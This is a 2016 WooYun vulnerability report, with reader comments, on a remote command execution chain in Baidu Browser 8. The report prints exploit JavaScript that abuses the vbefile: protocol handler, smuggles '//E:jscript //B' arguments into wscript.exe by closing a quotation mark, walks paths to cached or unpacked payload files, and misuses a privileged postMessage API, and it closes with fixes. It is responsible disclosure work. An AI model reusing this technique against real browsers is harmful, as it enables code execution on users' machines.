当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0175902

漏洞标题:百度浏览器8远程命令执行

相关厂商:百度

漏洞作者: gainover

提交时间:2016-02-15 08:34

修复时间:2016-05-15 15:20

公开时间:2016-05-15 15:20

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-15: 细节已通知厂商并且等待厂商处理中
2016-02-15: 厂商已经确认,细节仅向厂商公开
2016-02-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-10: 细节向核心白帽子及相关领域专家公开
2016-04-20: 细节向普通白帽子公开
2016-04-30: 细节向实习白帽子公开
2016-05-15: 细节向公众公开

简要描述:

新年快乐, 首先是,打个卡, 然后。。

详细说明:

--------------------------------------------
1. 背景
--------------------------------------------
1.1 webkit系的浏览器在调用伪协议时,HKEY_CLASSES_ROOT 下凡是含有 shell/open/command键值的条目 都可进行调用。例如, regfile

1.png


location.href="regfile:AAAAAAAAAAAAA";
这样会调用 -> regedit.exe "%1"
其中 %1 为 location.href跳转的值 : regfile:AAAAAAAAAAAAA
也就是说,当我们调用 location.href="regfile:AAAAAAAAAAAAA" 时,浏览器会调用
regedit.exe "regfile:AAAAAAAAAAAAA"
1.2 这样一来,我们直接可以调用系统的某些命令了? 不过chrome为了阻止这种情况,会对这种调用给用户以足够的提示信息,由用户来选择是否继续,如下图所示:

2.png


360浏览器也会有提示,

3.png


1.3 然而国内其他一些主流浏览器,在这一点的实现上,均没有这个交互提示。
这样会带来一些安全问题。
--------------------------------------------
2. 初步的利用
--------------------------------------------
利用上,我们选择,
location.href="vbefile:XXXXXXXXXXXX";
同类型的还有 jsefile 、wsffile等,反正这些都是会调用 wscript.exe来进行处理,如下图所示:

4.png


也就是说,在百度浏览器上,我们可以通过调用
location.href="vbefile:XXXXXXXXXXXX";
来调用 wscript.exe "vbefile:XXXXXXXXXXXX"
看起来好像并没什么用?
如果是这样呢?
location.href="vbefile:/../1.js"
-->
wscript.exe "vbefile:/../1.js"
你会在浏览器里看到下面的提示:

5.png


这说明,如果系统盘里已知路径下我们能够写一个文件,我们就可以通过 location.href="vbefile:/../../../已知路径/1.js"的方式来执行这个文件。
--------------------------------------------
3. 写文件?
--------------------------------------------
a. 浏览器的特权API下载文件到指定目录
b. 浏览器的缓存目录
似乎方法二看起来更通用些?百度浏览器的缓存目录位于
C:\Users\用户名\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Cache
其中缓存文件的名称为
f_000000 -> f_ffffff
依次递增。
我们需要知道当前客户端的用户名,才能够得到缓存路径,用户名也需要通过浏览器提供的特权API来获取。
--------------------------------------------
3.1 构造恶意缓存文件
--------------------------------------------
http://**.**.**.**/test/all/cache.php
其中大量的A是为了让文件达到一定大小(貌似文件小了,不会生成一个f_xxxxxx的文件)
可以看到用百度浏览器,访问了cache.php后,cache目录下生成了一个 f_0001b7

6.png


然后我们执行:
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'
会看到下面这个错误:

7.png


这是因为 wscript在执行脚本文件时,是根据后缀来进行执行的,而缓存文件没有后缀,所以就会提示“没有文件扩展”
怎么解决呢?

location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7'
-->
wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7"


我们似乎可以带入双引号来闭合 wscript的文件路径参数,进而引入其它参数:

location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript "'
-->
wscript "vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript ""


其中 //E:jscript 是指定使用jscript引擎来执行该文件。
可以看到,这次,f_0001b7被成功执行。

8.png


--------------------------------------------
3.2 得到用户名 (具体见之前的漏洞 - http://**.**.**.**/bugs/wooyun-2010-096413)
--------------------------------------------
http://**.**.**.**/app-res.html 可以通过postMessage来执行某些特权操作,其中就包括获取指定扩展的信息。

<iframe id="x" style="display:none" src="http://**.**.**.**/app-res.html"></iframe>
var testAppId='{AE136F90-4FF3-4205-9B12-CCE2254F3B6A}';//内置微信APP
//向 http://**.**.**.**/app-res.html post消息
document.getElementById("x").contentWindow.postMessage('{"type":"getExtById","data":"'+testAppId+'"}',"*")
//接收来自 http://**.**.**.**/app-res.html 所返回的结果(包含用户名的路径)
window.addEventListener("message",function(e){
console.log(e);
try{
var m=JSON.parse(e.data);
if(m.type=='extension'||m.type=='plugin'){
var path=m.src;
if(path){
//获得用户名后,开始进行缓存的暴力执行
alert(path)
}
}
}catch(e){
}
},false);


--------------------------------------------
3.3 暴力执行缓存文件
--------------------------------------------
由于缓存文件的名字我们并不知道,但cache目录下的缓存文件名是递增的,我们可以采取的最通俗的思路,就是从 f_000000开始暴力尝试去执行,直到执行至我们所生成的缓存。
这就需要解决一个问题,暴力执行每一个缓存文件,会面临缓存文件执行出错,缓存文件不存在而报错等问题,像下面这样:

9.png


不过,比较幸运的是,wscript提供了一个参数 //B,可以屏蔽掉这些错误信息。这样一来,我们就不用担心在执行过程中出错了。将此前的代码再改进下:
location.href='vbefile:/../../../../../../../../../Users/gainover/AppData/Roaming/Baidu/baidubrowser/user_data/default/chrome_profile/Cache/f_0001b7" //E:jscript //B "'
接着,如何暴力的去执行每个缓存文件呢?
比如要去尝试第 0-10000 个缓存文件
思路1:循环创建10000个iframe,每个iframe的location.href尝试去执行一个缓存文件
缺点:页面会首先去创建10000个iframe(这会需要花费较长时间,甚至会卡住),然后才开始后面的工作。
思路2:首先建立100个恶意缓存文件(可以更多,时间花销少)。然后我们执行缓存文件的时候,可以这样执行,f_000000、f_000064、f_0000c8 。。。(每隔100个来执行),这样我们只需要创建100个iframe,就可以尝试执行 0-10000个缓存文件,1000个iframe,就可以尝试10W个缓存文件了(优先考虑增加恶意缓存文件数量而不是iframe数量)
虽然 f_000000 -> f_ffffff 的范围看似很大,而实际上能被用到的范围却相对较小,本人常年在使用的chrome,cache目录里 f的最大值仅仅达到6万。
这说明,大多数情况下,暴力执行的方式是可行的。时间上虽然需要有一定的等待,但多数时候不需要太久。
--------------------------------------------
3.4 漏洞证明
--------------------------------------------
见【测试代码】里的测试URL
--------------------------------------------
3.5 更稳定的方式
--------------------------------------------
利用http://**.**.**.**/app-res.html的install的缺陷,这个缺陷,在http://**.**.**.**/bugs/wooyun-2010-096413里报告过,百度也做出了修复,但是有些细节并未处理好,导致可以在本例中结合使用。
a. 判断ext_url的正则 /^https?:\/\/**.**.**.**/ ,应该是/^https?:\/\/**.**.**.**\//。
所以可以绕过,http://**.**.**.**@**.**.**.**/test/all/1.zip
b. 1.zip已经不能../../了,并且1.zip里也不能包含除png之外的文件了。
但是这里对于我们来说,已经足够了,能写png也行。
所以,我们利用

document.getElementById("x").contentWindow.postMessage('{"type":"install","data":{"id":"'+installAppId+'","url":"http://**.**.**.**/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://**.**.**.**@**.**.**.**/test/all/1.zip"}}','*');


会把ext_url的zip包,解压释放到一个本地目录里。

10.png


这个目录的路径我们可以得到。
结合上面的location.href='vbefile:/../../../目录路径/test.png" //E:jscript "'; 就可以执行test.png里的恶意代码了。
漏洞证明,见【测试代码】部分

漏洞证明:

1. 暴力执行缓存的利用方式

11.png


2. 更稳定的方式

12.png


版本:**.**.**.**0

修复方案:

1.在调用外部协议时,开启交互提示。
2. 修复http://**.**.**.**/app-res.html,对postMessage的origin进行判断,防止恶意网站进行调用,获取信息。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-02-15 15:19

厂商回复:

非常感谢gainover 对百度安全的关心!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-15 08:36 | k0_pwn ( 普通白帽子 | Rank:149 漏洞数:15 | 专注且自由)

    我是沙发吗?前排围观二哥,新年快乐!

  2. 2016-02-15 08:43 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    mark

  3. 2016-02-15 09:26 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    二哥 新年快乐!

  4. 2016-02-15 09:29 | 染血の雪 ( 普通白帽子 | Rank:247 漏洞数:36 | 你挖 或者不挖漏洞就在哪儿不会增加 不...)

    表示关注,7的时候看二哥的文章发现了一个本地执行,现在二哥发文了看看思路。新年快乐!

  5. 2016-02-15 09:53 | 隐形人真忙 ( 普通白帽子 | Rank:169 漏洞数:21 | 关注安全研发与漏洞)

    这个得强烈关注。。。。。

  6. 2016-02-15 10:02 | 不能忍 ( 普通白帽子 | Rank:113 漏洞数:51 | 要是能重来,我要选李白!)

    8个远程执行?

  7. 2016-02-15 10:13 | j14n ( 普通白帽子 | Rank:1731 漏洞数:318 | ... . -.-. - . .- --)

    @不能忍 ver

  8. 2016-02-15 10:36 | Ourgame简单 ( 实习白帽子 | Rank:57 漏洞数:14 | 来打酱油.)

    二哥过年好,过年就来发漏洞。太敬业

  9. 2016-02-15 10:47 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    新年第一发

  10. 2016-02-15 11:10 | 毛毛虫 ( 普通白帽子 | Rank:149 漏洞数:48 | 执著->寂寞->孤单->绽放)

    必须关注!

  11. 2016-02-15 11:15 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    第一发哦

  12. 2016-02-15 11:36 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )

    膜拜

  13. 2016-02-15 11:46 | PiaCa ( 普通白帽子 | Rank:137 漏洞数:11 | 简单点!啪......嚓~~)

    二哥的漏洞依然这么棒

  14. 2016-02-15 12:33 | Agony ( 路人 | Rank:12 漏洞数:10 | you know a cat has nine lives.)

    666666

  15. 2016-02-15 13:38 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:4787 漏洞数:368 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    厉害啊

  16. 2016-02-15 14:47 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    果然雷劈了

  17. 2016-02-15 14:52 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1643 漏洞数:189 | 学无止境)

    手里留了一个半成品,希望不要和二哥的重复

  18. 2016-02-15 14:57 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    赶紧留名

  19. 2016-02-15 15:04 | 不能忍 ( 普通白帽子 | Rank:113 漏洞数:51 | 要是能重来,我要选李白!)

    @梧桐雨 师兄看来也是要打雷的节奏啊

  20. 2016-02-15 15:04 | 暴走 ( 普通白帽子 | Rank:611 漏洞数:106 | 专心补刀。)

    2016年的第一个雷!

  21. 2016-02-15 15:16 | jump ( 路人 | Rank:4 漏洞数:1 | 小菜鸟)

    666 文明观雷。

  22. 2016-02-15 15:35 | hecate ( 普通白帽子 | Rank:810 漏洞数:127 | ®高级安全工程师 | WooYun认证√)

    我好像在cd见过二哥

  23. 2016-02-15 18:05 | Fencing ( 实习白帽子 | Rank:70 漏洞数:11 | 以后慢慢写)

    二哥新年快乐

  24. 2016-02-16 12:34 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

    二哥猴腮雷

  25. 2016-02-18 20:40 | Sakura丶小樱 ( 路人 | Rank:4 漏洞数:2 | <script>alert(document.cookit)</script>)

    滴 学生卡

  26. 2016-02-23 11:24 | justpluto ( 路人 | Rank:15 漏洞数:1 | exploit%00)

    我是来看百度连载的

  27. 2016-02-25 22:38 | 李哈哈 ( 路人 | Rank:2 漏洞数:1 | 信息安全专业大二菜鸡)

    滴 学生卡